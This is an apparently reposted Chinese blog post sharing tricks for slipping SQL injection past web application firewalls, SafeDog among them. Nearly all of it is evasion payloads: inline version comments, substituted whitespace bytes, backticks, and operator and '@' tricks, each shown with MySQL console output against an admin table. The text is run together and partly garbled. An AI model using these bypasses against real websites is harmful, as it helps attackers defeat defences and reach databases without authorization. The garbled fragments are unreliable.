web站点过防火墙，安全狗常见技巧分享

来源：互联网发布：搭讪知乎编辑：程序博客网时间：2024/05/23 01:38
*******************************************************0x001/*!*/,*******************************************************0x002SELECT[0x09,*******************************************************0x0030x0A-0x0D,*******************************************************0x0040x20,0xA0]xx FROM *******************************************************0x005//" ' " mysql> select`version`()    -> ;+----------------------+| `version`()          |+----------------------+| 5.1.50-community-log |+----------------------+1 row in set (0.00 sec)mysql> select id from qs_admins where id=1;`dfff and comment it;+----+| id |+----+|  1 |+----+1 row in set (0.00 sec) `>*******************************************************0x006//"-+."mysql> select id from qs_admins;+----+| id |+----+|  1 |+----+1 row in set (0.00 sec) mysql> select+id-1+1.from qs_admins;+----------+| +id-1+1. |+----------+|        1 |+----------+1 row in set (0.00 sec)mysql> select-id-1+3.from qs_admins;+----------+| -id-1+3. |+----------+|        1 |+----------+1 row in set (0.00 sec)*******************************************************0x007//"@"mysql> select@^1.from qs_admins;+------+| @^1. |+------+| NULL |+------+*******************************************************0x008//"mysql function() as xxx"mysql> select-count(id)test from qs_admins;+------+| test |+------+|   -1 |+------+1 row in set (0.00 sec)*******************************************************0x009//--/*![>5000]*/ mysql> /*!40000select*/ id from qs_admins;+----+| id |+----+|  1 |+----+1 row in set (0.00 sec)*******************************************************0x010%20=/*? =?*/
0 0